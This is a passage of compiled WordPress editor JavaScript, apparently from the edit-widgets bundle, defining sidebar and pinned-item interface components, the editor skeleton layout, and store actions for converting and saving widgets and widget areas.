657 const children = external_wp_element_namespaceObject.Children.map(fills, (child) => {
658 if (!child.props.__unstableExplicitMenuItem && initializedByPlugins.includes(
659 child.props.__unstableTarget
660 )) {
661 return null;
662 }
663 return child;
664 });
665 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { ...props, children });
666 }
667 }
668 );
669}
670function ActionItem({ name, as: Component = external_wp_components_namespaceObject.Button, onClick, ...props }) {
671 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name, children: ({ onClick: fpOnClick }) => {
672 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
673 Component,
674 {
675 onClick: onClick || fpOnClick ? (...args) => {
676 (onClick || noop)(...args);
677 (fpOnClick || noop)(...args);
678 } : void 0,
679 ...props
680 }
681 );
682 } });
683}
684ActionItem.Slot = ActionItemSlot;
685var action_item_default = ActionItem;
686
687
688;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-more-menu-item/index.js
689
690
691
692
693
694const PluginsMenuItem = ({
695 // Menu item is marked with unstable prop for backward compatibility.
696 // They are removed so they don't leak to DOM elements.
697 // @see https://github.com/WordPress/gutenberg/issues/14457
698 __unstableExplicitMenuItem,
699 __unstableTarget,
700 ...restProps
701}) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { ...restProps });
702function ComplementaryAreaMoreMenuItem({
703 scope,
704 target,
705 __unstableExplicitMenuItem,
706 ...props
707}) {
708 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
709 ComplementaryAreaToggle,
710 {
711 as: (toggleProps) => {
712 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
713 action_item_default,
714 {
715 __unstableExplicitMenuItem,
716 __unstableTarget: `${scope}/${target}`,
717 as: PluginsMenuItem,
718 name: `${scope}/plugin-more-menu`,
719 ...toggleProps
720 }
721 );
722 },
723 role: "menuitemcheckbox",
724 selectedIcon: check_default,
725 name: target,
726 scope,
727 ...props
728 }
729 );
730}
731
732
733;// ./node_modules/@wordpress/interface/build-module/components/pinned-items/index.js
734
735
736
737function PinnedItems({ scope, ...props }) {
738 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: `PinnedItems/${scope}`, ...props });
739}
740function PinnedItemsSlot({ scope, className, ...props }) {
741 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: `PinnedItems/${scope}`, ...props, children: (fills) => fills?.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
742 "div",
743 {
744 className: dist_clsx(
745 className,
746 "interface-pinned-items"
747 ),
748 children: fills
749 }
750 ) });
751}
752PinnedItems.Slot = PinnedItemsSlot;
753var pinned_items_default = PinnedItems;
754
755
756;// ./node_modules/@wordpress/interface/build-module/components/complementary-area/index.js
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773const ANIMATION_DURATION = 0.3;
774function ComplementaryAreaSlot({ scope, ...props }) {
775 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: `ComplementaryArea/${scope}`, ...props });
776}
777const SIDEBAR_WIDTH = 280;
778const variants = {
779 open: { width: SIDEBAR_WIDTH },
780 closed: { width: 0 },
781 mobileOpen: { width: "100vw" }
782};
783function ComplementaryAreaFill({
784 activeArea,
785 isActive,
786 scope,
787 children,
788 className,
789 id
790}) {
791 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
792 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
793 const previousActiveArea = (0,external_wp_compose_namespaceObject.usePrevious)(activeArea);
794 const previousIsActive = (0,external_wp_compose_namespaceObject.usePrevious)(isActive);
795 const [, setState] = (0,external_wp_element_namespaceObject.useState)({});
796 (0,external_wp_element_namespaceObject.useEffect)(() => {
797 setState({});
798 }, [isActive]);
799 const transition = {
800 type: "tween",
801 duration: disableMotion || isMobileViewport || !!previousActiveArea && !!activeArea && activeArea !== previousActiveArea ? 0 : ANIMATION_DURATION,
802 ease: [0.6, 0, 0.4, 1]
803 };
804 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: `ComplementaryArea/${scope}`, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: (previousIsActive || isActive) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
805 external_wp_components_namespaceObject.__unstableMotion.div,
806 {
807 variants,
808 initial: "closed",
809 animate: isMobileViewport ? "mobileOpen" : "open",
810 exit: "closed",
811 transition,
812 className: "interface-complementary-area__fill",
813 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
814 "div",
815 {
816 id,
817 className,
818 style: {
819 width: isMobileViewport ? "100vw" : SIDEBAR_WIDTH
820 },
821 children
822 }
823 )
824 }
825 ) }) });
826}
827function useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall) {
828 const previousIsSmallRef = (0,external_wp_element_namespaceObject.useRef)(false);
829 const shouldOpenWhenNotSmallRef = (0,external_wp_element_namespaceObject.useRef)(false);
830 const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
831 (0,external_wp_element_namespaceObject.useEffect)(() => {
832 if (isActive && isSmall && !previousIsSmallRef.current) {
833 disableComplementaryArea(scope);
834 shouldOpenWhenNotSmallRef.current = true;
835 } else if (
836 // If there is a flag indicating the complementary area should be
837 // enabled when we go from small to big window size and we are going
838 // from a small to big window size.
839 shouldOpenWhenNotSmallRef.current && !isSmall && previousIsSmallRef.current
840 ) {
841 shouldOpenWhenNotSmallRef.current = false;
842 enableComplementaryArea(scope, identifier);
843 } else if (
844 // If the flag is indicating the current complementary should be
845 // reopened but another complementary area becomes active, remove
846 // the flag.
847 shouldOpenWhenNotSmallRef.current && activeArea && activeArea !== identifier
848 ) {
849 shouldOpenWhenNotSmallRef.current = false;
850 }
851 if (isSmall !== previousIsSmallRef.current) {
852 previousIsSmallRef.current = isSmall;
853 }
854 }, [
855 isActive,
856 isSmall,
857 scope,
858 identifier,
859 activeArea,
860 disableComplementaryArea,
861 enableComplementaryArea
862 ]);
863}
864function ComplementaryArea({
865 children,
866 className,
867 closeLabel = (0,external_wp_i18n_namespaceObject.__)("Close plugin"),
868 identifier: identifierProp,
869 header,
870 headerClassName,
871 icon: iconProp,
872 isPinnable = true,
873 panelClassName,
874 scope,
875 name,
876 title,
877 toggleShortcut,
878 isActiveByDefault
879}) {
880 const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
881 const icon = iconProp || context.icon;
882 const identifier = identifierProp || `${context.name}/${name}`;
883 const [isReady, setIsReady] = (0,external_wp_element_namespaceObject.useState)(false);
884 const {
885 isLoading,
886 isActive,
887 isPinned,
888 activeArea,
889 isSmall,
890 isLarge,
891 showIconLabels
892 } = (0,external_wp_data_namespaceObject.useSelect)(
893 (select) => {
894 const {
895 getActiveComplementaryArea,
896 isComplementaryAreaLoading,
897 isItemPinned
898 } = select(store);
899 const { get } = select(external_wp_preferences_namespaceObject.store);
900 const _activeArea = getActiveComplementaryArea(scope);
901 return {
902 isLoading: isComplementaryAreaLoading(scope),
903 isActive: _activeArea === identifier,
904 isPinned: isItemPinned(scope, identifier),
905 activeArea: _activeArea,
906 isSmall: select(external_wp_viewport_namespaceObject.store).isViewportMatch("< medium"),
907 isLarge: select(external_wp_viewport_namespaceObject.store).isViewportMatch("large"),
908 showIconLabels: get("core", "showIconLabels")
909 };
910 },
911 [identifier, scope]
912 );
913 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
914 useAdjustComplementaryListener(
915 scope,
916 identifier,
917 activeArea,
918 isActive,
919 isSmall
920 );
921 const {
922 enableComplementaryArea,
923 disableComplementaryArea,
924 pinItem,
925 unpinItem
926 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
927 (0,external_wp_element_namespaceObject.useEffect)(() => {
928 if (isActiveByDefault && activeArea === void 0 && !isSmall) {
929 enableComplementaryArea(scope, identifier);
930 } else if (activeArea === void 0 && isSmall) {
931 disableComplementaryArea(scope, identifier);
932 }
933 setIsReady(true);
934 }, [
935 activeArea,
936 isActiveByDefault,
937 scope,
938 identifier,
939 isSmall,
940 enableComplementaryArea,
941 disableComplementaryArea
942 ]);
943 if (!isReady) {
944 return;
945 }
946 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
947 isPinnable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items_default, { scope, children: isPinned && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
948 ComplementaryAreaToggle,
949 {
950 scope,
951 identifier,
952 isPressed: isActive && (!showIconLabels || isLarge),
953 "aria-expanded": isActive,
954 "aria-disabled": isLoading,
955 label: title,
956 icon: showIconLabels ? check_default : icon,
957 showTooltip: !showIconLabels,
958 variant: showIconLabels ? "tertiary" : void 0,
959 size: "compact",
960 shortcut: toggleShortcut
961 }
962 ) }),
963 name && isPinnable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
964 ComplementaryAreaMoreMenuItem,
965 {
966 target: name,
967 scope,
968 icon,
969 identifier,
970 children: title
971 }
972 ),
973 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
974 ComplementaryAreaFill,
975 {
976 activeArea,
977 isActive,
978 className: dist_clsx("interface-complementary-area", className),
979 scope,
980 id: identifier.replace("/", ":"),
981 children: [
982 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
983 complementary_area_header_default,
984 {
985 className: headerClassName,
986 closeLabel,
987 onClose: () => disableComplementaryArea(scope),
988 toggleButtonProps: {
989 label: closeLabel,
990 size: "compact",
991 shortcut: toggleShortcut,
992 scope,
993 identifier
994 },
995 children: header || /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
996 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "interface-complementary-area-header__title", children: title }),
997 isPinnable && !isMobileViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
998 external_wp_components_namespaceObject.Button,
999 {
1000 className: "interface-complementary-area__pin-unpin-item",
1001 icon: isPinned ? star_filled_default : star_empty_default,
1002 label: isPinned ? (0,external_wp_i18n_namespaceObject.__)("Unpin from toolbar") : (0,external_wp_i18n_namespaceObject.__)("Pin to toolbar"),
1003 onClick: () => (isPinned ? unpinItem : pinItem)(
1004 scope,
1005 identifier
1006 ),
1007 isPressed: isPinned,
1008 "aria-expanded": isPinned,
1009 size: "compact"
1010 }
1011 )
1012 ] })
1013 }
1014 ),
1015 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Panel, { className: panelClassName, children })
1016 ]
1017 }
1018 )
1019 ] });
1020}
1021ComplementaryArea.Slot = ComplementaryAreaSlot;
1022var complementary_area_default = ComplementaryArea;
1023
1024
1025;// ./node_modules/@wordpress/admin-ui/build-module/navigable-region/index.js
1026
1027
1028
1029const NavigableRegion = (0,external_wp_element_namespaceObject.forwardRef)(
1030 ({ children, className, ariaLabel, as: Tag = "div", ...props }, ref) => {
1031 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1032 Tag,
1033 {
1034 ref,
1035 className: dist_clsx("admin-ui-navigable-region", className),
1036 "aria-label": ariaLabel,
1037 role: "region",
1038 tabIndex: "-1",
1039 ...props,
1040 children
1041 }
1042 );
1043 }
1044);
1045NavigableRegion.displayName = "NavigableRegion";
1046var navigable_region_default = NavigableRegion;
1047
1048
1049;// ./node_modules/@wordpress/interface/build-module/components/interface-skeleton/index.js
1050
1051
1052
1053
1054
1055
1056
1057const interface_skeleton_ANIMATION_DURATION = 0.25;
1058const commonTransition = {
1059 type: "tween",
1060 duration: interface_skeleton_ANIMATION_DURATION,
1061 ease: [0.6, 0, 0.4, 1]
1062};
1063function useHTMLClass(className) {
1064 (0,external_wp_element_namespaceObject.useEffect)(() => {
1065 const element = document && document.querySelector(`html:not(.${className})`);
1066 if (!element) {
1067 return;
1068 }
1069 element.classList.toggle(className);
1070 return () => {
1071 element.classList.toggle(className);
1072 };
1073 }, [className]);
1074}
1075const headerVariants = {
1076 hidden: { opacity: 1, marginTop: -60 },
1077 visible: { opacity: 1, marginTop: 0 },
1078 distractionFreeHover: {
1079 opacity: 1,
1080 marginTop: 0,
1081 transition: {
1082 ...commonTransition,
1083 delay: 0.2,
1084 delayChildren: 0.2
1085 }
1086 },
1087 distractionFreeHidden: {
1088 opacity: 0,
1089 marginTop: -60
1090 },
1091 distractionFreeDisabled: {
1092 opacity: 0,
1093 marginTop: 0,
1094 transition: {
1095 ...commonTransition,
1096 delay: 0.8,
1097 delayChildren: 0.8
1098 }
1099 }
1100};
1101function InterfaceSkeleton({
1102 isDistractionFree,
1103 footer,
1104 header,
1105 editorNotices,
1106 sidebar,
1107 secondarySidebar,
1108 content,
1109 actions,
1110 labels,
1111 className
1112}, ref) {
1113 const [secondarySidebarResizeListener, secondarySidebarSize] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
1114 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
1115 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
1116 const defaultTransition = {
1117 type: "tween",
1118 duration: disableMotion ? 0 : interface_skeleton_ANIMATION_DURATION,
1119 ease: [0.6, 0, 0.4, 1]
1120 };
1121 useHTMLClass("interface-interface-skeleton__html-container");
1122 const defaultLabels = {
1123 /* translators: accessibility text for the top bar landmark region. */
1124 header: (0,external_wp_i18n_namespaceObject._x)("Header", "header landmark area"),
1125 /* translators: accessibility text for the content landmark region. */
1126 body: (0,external_wp_i18n_namespaceObject.__)("Content"),
1127 /* translators: accessibility text for the secondary sidebar landmark region. */
1128 secondarySidebar: (0,external_wp_i18n_namespaceObject.__)("Block Library"),
1129 /* translators: accessibility text for the settings landmark region. */
1130 sidebar: (0,external_wp_i18n_namespaceObject._x)("Settings", "settings landmark area"),
1131 /* translators: accessibility text for the publish landmark region. */
1132 actions: (0,external_wp_i18n_namespaceObject.__)("Publish"),
1133 /* translators: accessibility text for the footer landmark region. */
1134 footer: (0,external_wp_i18n_namespaceObject.__)("Footer")
1135 };
1136 const mergedLabels = { ...defaultLabels, ...labels };
1137 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
1138 "div",
1139 {
1140 ref,
1141 className: dist_clsx(
1142 className,
1143 "interface-interface-skeleton",
1144 !!footer && "has-footer"
1145 ),
1146 children: [
1147 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "interface-interface-skeleton__editor", children: [
1148 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: !!header && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1149 navigable_region_default,
1150 {
1151 as: external_wp_components_namespaceObject.__unstableMotion.div,
1152 className: "interface-interface-skeleton__header",
1153 "aria-label": mergedLabels.header,
1154 initial: isDistractionFree && !isMobileViewport ? "distractionFreeHidden" : "hidden",
1155 whileHover: isDistractionFree && !isMobileViewport ? "distractionFreeHover" : "visible",
1156 animate: isDistractionFree && !isMobileViewport ? "distractionFreeDisabled" : "visible",
1157 exit: isDistractionFree && !isMobileViewport ? "distractionFreeHidden" : "hidden",
1158 variants: headerVariants,
1159 transition: defaultTransition,
1160 children: header
1161 }
1162 ) }),
1163 isDistractionFree && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "interface-interface-skeleton__header", children: editorNotices }),
1164 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "interface-interface-skeleton__body", children: [
1165 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: !!secondarySidebar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1166 navigable_region_default,
1167 {
1168 className: "interface-interface-skeleton__secondary-sidebar",
1169 ariaLabel: mergedLabels.secondarySidebar,
1170 as: external_wp_components_namespaceObject.__unstableMotion.div,
1171 initial: "closed",
1172 animate: "open",
1173 exit: "closed",
1174 variants: {
1175 open: { width: secondarySidebarSize.width },
1176 closed: { width: 0 }
1177 },
1178 transition: defaultTransition,
1179 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
1180 external_wp_components_namespaceObject.__unstableMotion.div,
1181 {
1182 style: {
1183 position: "absolute",
1184 width: isMobileViewport ? "100vw" : "fit-content",
1185 height: "100%",
1186 left: 0
1187 },
1188 variants: {
1189 open: { x: 0 },
1190 closed: { x: "-100%" }
1191 },
1192 transition: defaultTransition,
1193 children: [
1194 secondarySidebarResizeListener,
1195 secondarySidebar
1196 ]
1197 }
1198 )
1199 }
1200 ) }),
1201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1202 navigable_region_default,
1203 {
1204 className: "interface-interface-skeleton__content",
1205 ariaLabel: mergedLabels.body,
1206 children: content
1207 }
1208 ),
1209 !!sidebar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1210 navigable_region_default,
1211 {
1212 className: "interface-interface-skeleton__sidebar",
1213 ariaLabel: mergedLabels.sidebar,
1214 children: sidebar
1215 }
1216 ),
1217 !!actions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1218 navigable_region_default,
1219 {
1220 className: "interface-interface-skeleton__actions",
1221 ariaLabel: mergedLabels.actions,
1222 children: actions
1223 }
1224 )
1225 ] })
1226 ] }),
1227 !!footer && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1228 navigable_region_default,
1229 {
1230 className: "interface-interface-skeleton__footer",
1231 ariaLabel: mergedLabels.footer,
1232 children: footer
1233 }
1234 )
1235 ]
1236 }
1237 );
1238}
1239var interface_skeleton_default = (0,external_wp_element_namespaceObject.forwardRef)(InterfaceSkeleton);
1240
1241
1242;// ./node_modules/@wordpress/interface/build-module/components/index.js
1243
1244
1245
1246
1247
1248
1249
1250
1251;// ./node_modules/@wordpress/interface/build-module/index.js
1252
1253
1254
1255
1256;// external ["wp","blockEditor"]
1257const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
1258;// ./node_modules/@wordpress/edit-widgets/build-module/store/transformers.js
1259
1260
1261function transformWidgetToBlock(widget) {
1262 if (widget.id_base === "block") {
1263 const parsedBlocks = (0,external_wp_blocks_namespaceObject.parse)(widget.instance.raw.content, {
1264 __unstableSkipAutop: true
1265 });
1266 if (!parsedBlocks.length) {
1267 return (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)(
1268 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {}, []),
1269 widget.id
1270 );
1271 }
1272 return (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)(parsedBlocks[0], widget.id);
1273 }
1274 let attributes;
1275 if (widget._embedded.about[0].is_multi) {
1276 attributes = {
1277 idBase: widget.id_base,
1278 instance: widget.instance
1279 };
1280 } else {
1281 attributes = {
1282 id: widget.id
1283 };
1284 }
1285 return (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)(
1286 (0,external_wp_blocks_namespaceObject.createBlock)("core/legacy-widget", attributes, []),
1287 widget.id
1288 );
1289}
1290function transformBlockToWidget(block, relatedWidget = {}) {
1291 let widget;
1292 const isValidLegacyWidgetBlock = block.name === "core/legacy-widget" && (block.attributes.id || block.attributes.instance);
1293 if (isValidLegacyWidgetBlock) {
1294 widget = {
1295 ...relatedWidget,
1296 id: block.attributes.id ?? relatedWidget.id,
1297 id_base: block.attributes.idBase ?? relatedWidget.id_base,
1298 instance: block.attributes.instance ?? relatedWidget.instance
1299 };
1300 } else {
1301 widget = {
1302 ...relatedWidget,
1303 id_base: "block",
1304 instance: {
1305 raw: {
1306 content: (0,external_wp_blocks_namespaceObject.serialize)(block)
1307 }
1308 }
1309 };
1310 }
1311 delete widget.rendered;
1312 delete widget.rendered_form;
1313 return widget;
1314}
1315
1316
1317;// ./node_modules/@wordpress/edit-widgets/build-module/store/utils.js
1318const KIND = "root";
1319const WIDGET_AREA_ENTITY_TYPE = "sidebar";
1320const POST_TYPE = "postType";
1321const buildWidgetAreaPostId = (widgetAreaId) => `widget-area-${widgetAreaId}`;
1322const buildWidgetAreasPostId = () => `widget-areas`;
1323function buildWidgetAreasQuery() {
1324 return {
1325 per_page: -1
1326 };
1327}
1328function buildWidgetsQuery() {
1329 return {
1330 per_page: -1,
1331 _embed: "about"
1332 };
1333}
1334const createStubPost = (id, blocks) => ({
1335 id,
1336 slug: id,
1337 status: "draft",
1338 type: "page",
1339 blocks,
1340 meta: {
1341 widgetAreaId: id
1342 }
1343});
1344
1345
1346;// ./node_modules/@wordpress/edit-widgets/build-module/store/constants.js
1347const constants_STORE_NAME = "core/edit-widgets";
1348
1349
1350;// ./node_modules/@wordpress/edit-widgets/build-module/store/actions.js
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360const persistStubPost = (id, blocks) => ({ registry }) => {
1361 const stubPost = createStubPost(id, blocks);
1362 registry.dispatch(external_wp_coreData_namespaceObject.store).receiveEntityRecords(
1363 KIND,
1364 POST_TYPE,
1365 stubPost,
1366 { id: stubPost.id },
1367 false
1368 );
1369 return stubPost;
1370};
1371const saveEditedWidgetAreas = () => async ({ select, dispatch, registry }) => {
1372 const editedWidgetAreas = select.getEditedWidgetAreas();
1373 if (!editedWidgetAreas?.length) {
1374 return;
1375 }
1376 try {
1377 await dispatch.saveWidgetAreas(editedWidgetAreas);
1378 registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Widgets saved."), {
1379 type: "snackbar"
1380 });
1381 } catch (e) {
1382 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(
1383 /* translators: %s: The error message. */
1384 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("There was an error. %s"), e.message),
1385 {
1386 type: "snackbar"
1387 }
1388 );
1389 }
1390};
1391const saveWidgetAreas = (widgetAreas) => async ({ dispatch, registry }) => {
1392 try {
1393 for (const widgetArea of widgetAreas) {
1394 await dispatch.saveWidgetArea(widgetArea.id);
1395 }
1396 } finally {
1397 await registry.dispatch(external_wp_coreData_namespaceObject.store).finishResolution(
1398 "getEntityRecord",
1399 KIND,
1400 WIDGET_AREA_ENTITY_TYPE,
1401 buildWidgetAreasQuery()
1402 );
1403 }
1404};
1405const saveWidgetArea = (widgetAreaId) => async ({ dispatch, select, registry }) => {
1406 const widgets = select.getWidgets();
1407 const post = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
1408 KIND,
1409 POST_TYPE,
1410 buildWidgetAreaPostId(widgetAreaId)
1411 );
1412 const areaWidgets = Object.values(widgets).filter(
1413 ({ sidebar }) => sidebar === widgetAreaId
1414 );
1415 const usedReferenceWidgets = [];
1416 const widgetsBlocks = post.blocks.filter((block) => {
1417 const { id } = block.attributes;
1418 if (block.name === "core/legacy-widget" && id) {
1419 if (usedReferenceWidgets.includes(id)) {
1420 return false;
1421 }
1422 usedReferenceWidgets.push(id);
1423 }
1424 return true;
1425 });
1426 const deletedWidgets = [];
1427 for (const widget of areaWidgets) {
1428 const widgetsNewArea = select.getWidgetAreaForWidgetId(widget.id);
1429 if (!widgetsNewArea) {
1430 deletedWidgets.push(widget);
1431 }
1432 }
1433 const batchMeta = [];
1434 const batchTasks = [];
1435 const sidebarWidgetsIds = [];
1436 for (let i = 0; i < widgetsBlocks.length; i++) {
1437 const block = widgetsBlocks[i];
1438 const widgetId = (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(block);
1439 const oldWidget = widgets[widgetId];
1440 const widget = transformBlockToWidget(block, oldWidget);
1441 sidebarWidgetsIds.push(widgetId);
1442 if (oldWidget) {
1443 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
1444 "root",
1445 "widget",
1446 widgetId,
1447 {
1448 ...widget,
1449 sidebar: widgetAreaId
1450 },
1451 { undoIgnore: true }
1452 );
1453 const hasEdits = registry.select(external_wp_coreData_namespaceObject.store).hasEditsForEntityRecord("root", "widget", widgetId);
1454 if (!hasEdits) {
1455 continue;
1456 }
1457 batchTasks.push(
1458 ({ saveEditedEntityRecord }) => saveEditedEntityRecord("root", "widget", widgetId)
1459 );
1460 } else {
1461 batchTasks.push(
1462 ({ saveEntityRecord }) => saveEntityRecord("root", "widget", {
1463 ...widget,
1464 sidebar: widgetAreaId
1465 })
1466 );
1467 }
1468 batchMeta.push({
1469 block,
1470 position: i,
1471 clientId: block.clientId
1472 });
1473 }
1474 for (const widget of deletedWidgets) {
1475 batchTasks.push(
1476 ({ deleteEntityRecord }) => deleteEntityRecord("root", "widget", widget.id, {
1477 force: true
1478 })
1479 );
1480 }
1481 const records = await registry.dispatch(external_wp_coreData_namespaceObject.store).__experimentalBatch(batchTasks);
1482 const preservedRecords = records.filter(
1483 (record) => !record.hasOwnProperty("deleted")
1484 );
1485 const failedWidgetNames = [];
1486 for (let i = 0; i < preservedRecords.length; i++) {
1487 const widget = preservedRecords[i];
1488 const { block, position } = batchMeta[i];
1489 post.blocks[position].attributes.__internalWidgetId = widget.id;
1490 const error = registry.select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError("root", "widget", widget.id);
1491 if (error) {
1492 failedWidgetNames.push(block.attributes?.name || block?.name);
1493 }
1494 if (!sidebarWidgetsIds[position]) {
1495 sidebarWidgetsIds[position] = widget.id;
1496 }
1497 }
1498 if (failedWidgetNames.length) {
1499 throw new Error(
1500 (0,external_wp_i18n_namespaceObject.sprintf)(
1501 /* translators: %s: List of widget names */
1502 (0,external_wp_i18n_namespaceObject.__)("Could not save the following widgets: %s."),
1503 failedWidgetNames.join(", ")
1504 )
1505 );
1506 }
1507 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
1508 KIND,
1509 WIDGET_AREA_ENTITY_TYPE,
1510 widgetAreaId,
1511 {
1512 widgets: sidebarWidgetsIds
1513 },
1514 { undoIgnore: true }
1515 );
1516 dispatch(trySaveWidgetArea(widgetAreaId));
1517 registry.dispatch(external_wp_coreData_namespaceObject.store).receiveEntityRecords(KIND, POST_TYPE, post, void 0);
1518};
1519const trySaveWidgetArea = (widgetAreaId) => ({ registry }) => {
1520 registry.dispatch(external_wp_coreData_namespaceObject.store).saveEditedEntityRecord(
1521 KIND,
1522 WIDGET_AREA_ENTITY_TYPE,
1523 widgetAreaId,
1524 {
1525 throwOnError: true
1526 }
1527 );
1528};
1529function setWidgetIdForClientId(clientId, widgetId) {
1530 return {
1531 type: "SET_WIDGET_ID_FOR_CLIENT_ID",
1532 clientId,
1533 widgetId
1534 };
1535}
1536function setWidgetAreasOpenState(widgetAreasOpenState) {
1537 return {
1538 type: "SET_WIDGET_AREAS_OPEN_STATE",
1539 widgetAreasOpenState
1540 };
1541}
1542function setIsWidgetAreaOpen(clientId, isOpen) {
1543 return {
1544 type: "SET_IS_WIDGET_AREA_OPEN",
1545 clientId,
1546 isOpen
1547 };
1548}
1549function setIsInserterOpened(value) {
1550 return {
1551 type: "SET_IS_INSERTER_OPENED",
1552 value
1553 };
1554}
1555function setIsListViewOpened(isOpen) {
1556 return {
1557 type: "SET_IS_LIST_VIEW_OPENED",
1558 isOpen
1559 };
1560}
1561const closeGeneralSidebar = () => ({ registry }) => {
1562 registry.dispatch(store).disableComplementaryArea(constants_STORE_NAME);
1563};
1564const moveBlockToWidgetArea = (clientId, widgetAreaId) => async ({ dispatch, select, registry }) => {
1565 const sourceRootClientId = registry.select(external_wp_blockEditor_namespaceObject.store).getBlockRootClientId(clientId);
1566 const widgetAreas = registry.select(external_wp_blockEditor_namespaceObject.store).getBlocks();
1567 const destinationWidgetAreaBlock = widgetAreas.find(
1568 ({ attributes }) => attributes.id === widgetAreaId
1569 );
1570 const destinationRootClientId = destinationWidgetAreaBlock.clientId;
1571 const destinationInnerBlocksClientIds = registry.select(external_wp_blockEditor_namespaceObject.store).getBlockOrder(destinationRootClientId);
1572 const destinationIndex = destinationInnerBlocksClientIds.length;
1573 const isDestinationWidgetAreaOpen = select.getIsWidgetAreaOpen(
1574 destinationRootClientId
1575 );
1576 if (!isDestinationWidgetAreaOpen) {
1577 dispatch.setIsWidgetAreaOpen(destinationRootClientId, true);
1578 }
1579 registry.dispatch(external_wp_blockEditor_namespaceObject.store).moveBlocksToPosition(
1580 [clientId],
1581 sourceRootClientId,
1582 destinationRootClientId,
1583 destinationIndex
1584 );
1585};
1586function unlockWidgetSaving(lockName) {
1587 return {
1588 type: "UNLOCK_WIDGET_SAVING",
1589 lockName
1590 };
1591}
1592function lockWidgetSaving(lockName) {
1593 return {
1594 type: "LOCK_WIDGET_SAVING",
1595 lockName
1596 };
1597}
1598
1599
